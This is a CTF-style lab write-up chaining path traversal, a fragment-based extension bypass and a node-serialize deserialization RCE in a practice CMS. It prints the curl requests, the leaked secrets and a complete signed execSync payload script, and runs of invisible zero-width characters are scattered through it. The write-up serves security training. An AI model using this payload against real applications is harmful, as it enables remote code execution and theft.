← Back to Writeups
CUSTOMMediumWeb

Lab 319 — PageForge — Chained Path Traversal to RCE via Asset Bundler

XESXOR9/2/20266 min read
#web#custom#medium#absolute_path_traversal_bypass#config_file_secrets_extraction#hmac_signed_payload_crafting#iife_deserialization_gadget#multi_stage_vulnerability_chai#node_serialize_unserialize_rce#url_fragment_extension_whiteli

Lab 319 — PageForge — Chained Path Traversal to RCE via Asset Bundler

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: absolute_path_traversal_bypass, config_file_secrets_extraction, hmac_signed_payload_crafting, iife_deserialization_gadget, multi_stage_vulnerability_chain, node_serialize_unserialize_rce, url_fragment_extension_whitelist_bypass

Summary

Walkthrough of the CUSTOM Web Lab 319 — PageForge — Chained Path Traversal to RCE via Asset Bundler. Task: Express.js CMS with asset bundler path traversal, config file secrets disclosure, and node-serialize deserialization RCE. Solution: 3-step chain — absolute path traversal with URL fragment exten

Description

PageForge is an enterprise CMS platform used by large organizations to manage web content. It features a powerful asset bundling pipeline, customizable themes and templates, and an admin panel for bulk content management. The platform handles theme assets, template rendering, and content import/export workflows. As a security consultant, you've been given access to a standard user account to test the application. Your goal is to find and exploit vulnerabilities in the asset pipeline and admin import system to achieve remote code execution and capture the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js CMS with EJS templating behind nginx/1.25.5. The application has an asset bundler endpoint, a template validator, and an admin import endpoint that uses node-serialize. Given credentials for a viewer-role user (user@test.com / password123), the goal is to chain vulnerabilities to achieve RCE and read /root/flag.txt.

Analysis

Reconnaissance

Stack identification:

  • Express.js (Node.js) on nginx/1.25.5 reverse proxy
  • EJS templating engine
  • SQLite database (better-sqlite3)
  • node-serialize for import/export
  • crypto-js for HMAC signature verification ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Endpoint discovery via robots.txt:

Disallow: /api/admin/
Disallow: /api/assets/bundle
Disallow: /api/validate-template

These were also confirmed by JS comments in /js/app.js:

javascript
// var assetBundleEndpoint = '/api/assets/bundle';
// var templateValidateEndpoint = '/api/validate-template';
// var adminImportEndpoint = '/api/admin/import';

Decoy flag: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments — a honeypot designed to trap automated tools and AI agents. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 1: Path Traversal in Asset Bundler

The /api/assets/bundle?file= endpoint serves theme assets (CSS, JS, fonts). It has two security checks:

  1. Extension whitelist: Only .css, .js, .map, .woff, .woff2, .ttf allowed
  2. Traversal filter: Blocks ../ sequences

However, the traversal filter has a critical logic flaw (from server.js line 252):

javascript
if (file.includes('..') && !file.startsWith('/')) {
    return res.status(403).json({ error: 'Path traversal detected' });
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The condition only blocks traversal for relative paths. Absolute paths starting with / bypass the check entirely. Additionally, the path resolution logic (line 257) handles absolute paths differently:

javascript
const resolvedPath = cleanFile.startsWith('/')
    ? path.resolve(cleanFile)           // absolute: resolve as-is
    : path.resolve(__dirname, 'public', cleanFile);  // relative: prepend public/

The only remaining restriction is that the resolved path must start with /app/ — but the entire application lives under /app/, so this is not a meaningful constraint. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Extension whitelist bypass via URL fragment:

The extension check runs on the raw file parameter, but fragment stripping happens afterward:

javascript
const ext = path.extname(file);              // checks extension BEFORE stripping
const cleanFile = file.split('#')[0];         // strips fragment AFTER check

By appending %23.js (URL-encoded #.js) to any filename, the extension check sees .js (allowed), but the actual file read targets the path before the #. For example:

  • file=/app/data/config/app-secrets.json%23.js
  • Extension check sees: .js ✓
  • Fragment stripped: /app/data/config/app-secrets.json
  • Actual file read: app-secrets.json (a JSON config file) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability 2: Secrets Disclosure via Config File

Using the path traversal, reading /app/data/config/app-secrets.json reveals:

json
{
    "admin_api_key": "pgf-admin-k8x7Qm2vL9wR4nP1",
    "serialization_secret": "F0rg3St@ck$3r1aL!z3r_2024"
}

These are the two secrets required to authenticate to the admin import endpoint.

Vulnerability 3: node-serialize Deserialization RCE

The /api/admin/import endpoint (line 273-315 of server.js) accepts POST requests with:

  • X-Api-Key header matching config.admin_api_key
  • data field containing serialized content
  • signature field containing HMAC-SHA256 of data using config.serialization_secret ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After authentication and signature verification, it calls:

javascript
const importedData = serialize.unserialize(data);

The node-serialize library is known to be vulnerable to arbitrary code execution via the _$$ND_FUNC$$_ prefix. When unserialize() encounters a string value starting with this prefix, it evaluates it as a JavaScript function. Adding () at the end creates an IIFE (Immediately Invoked Function Expression) that executes during deserialization.

Solution

Step 1: Login and obtain session cookie

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
TARGET="https://b644e6ff-fc6a-4efa-b0b6-c6b163e1950e.labs.hackadvisor.io"

curl -sk -c cookies.txt -X POST "$TARGET/login" \
  -d "email=user@test.com&password=password123" \
  -L -o /dev/null -w "%{http_code}"

Step 2: Read server source code via absolute path traversal

bash
curl -sk -b cookies.txt "$TARGET/api/assets/bundle?file=/app/server.js"

This returns the full Express.js application source code, revealing:

  • The path traversal filter logic and its bypass conditions
  • The admin import endpoint using node-serialize.unserialize()
  • The config file path /app/data/config/app-secrets.json
  • The HMAC signature verification mechanism ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Read secrets via fragment extension bypass

bash
curl -sk -b cookies.txt "$TARGET/api/assets/bundle?file=/app/data/config/app-secrets.json%23.js"

Response:

json
{
    "admin_api_key": "pgf-admin-k8x7Qm2vL9wR4nP1",
    "serialization_secret": "F0rg3St@ck$3r1aL!z3r_2024"
}

Step 4: Craft and sign the deserialization payload

The exploit script (exploit2.js) constructs the RCE payload:

javascript
const CryptoJS = require('crypto-js');
const https = require('https');

const BASE_URL = 'https://b644e6ff-fc6a-4efa-b0b6-c6b163e1950e.labs.hackadvisor.io';
const API_KEY = 'pgf-admin-k8x7Qm2vL9wR4nP1';
const SERIALIZATION_SECRET = 'F0rg3St@ck$3r1aL!z3r_2024';
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

const cmd = process.argv[2] || 'id';

// node-serialize RCE payload — IIFE executes on deserialization
const payload = JSON.stringify({
  rce: `_$$ND_FUNC$$_function(){var r=require('child_process').execSync('${cmd}').toString();return r;}()`
});

// HMAC-SHA256 signature using the serialization secret
const signature = CryptoJS.HmacSHA256(payload, SERIALIZATION_SECRET).toString();

const body = JSON.stringify({ data: payload, signature: signature });

const url = new URL('/api/admin/import', BASE_URL);
const options = {
  hostname: url.hostname,
  port: 443,
  path: url.pathname,
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-Api-Key': API_KEY,
    'Content-Length': Buffer.byteLength(body)
  },
  rejectUnauthorized: false
};
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

const req = https.request(options, (res) => {
  let data = '';
  res.on('data', (chunk) => data += chunk);
  res.on('end', () => {
    console.log('HTTP Status:', res.statusCode);
    console.log('Response:', data);
  });
});

req.on('error', (e) => console.error('Error:', e.message));
req.write(body);
req.end();

Step 5: Execute RCE and read the flag

bash
node exploit2.js "cat /root/flag.txt"

Response:

json
{
  "success": true,
  "message": "Import completed successfully",
  "imported": {
    "rce": "FLAG{REDACTED}\n"
  },
  "count": 1
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Chain Summary

Login (viewer) → robots.txt + JS comments (endpoint discovery)
    → /api/assets/bundle?file=/app/server.js (absolute path traversal → source code)
    → /api/assets/bundle?file=/app/data/config/app-secrets.json%23.js (fragment bypass → secrets)
    → POST /api/admin/import with HMAC-signed node-serialize IIFE payload → RCE
    → cat /root/flag.txt → FLAG{REDACTED}

What Failed

  • Relative path traversal (../server.js, %252e%252e, unicode, backslash) — all blocked by the filter for non-absolute paths
  • Media upload — requires editor role; the viewer account cannot upload files
  • API key brute-force — the key pgf-admin-k8x7Qm2vL9wR4nP1 is not guessable ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering absolute_path_traversal_bypass, config_file_secrets_extraction, hmac_signed_payload_crafting, iife_deserialization_gadget, multi_stage_vulnerability_chain, node_serialize_unserialize_rce, url_fragment_extension_whitelist_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-18 • CUSTOM • Lab 319 — PageForge — Chained Path Traversal to RCE via Asset Bundler • Difficulty: Medium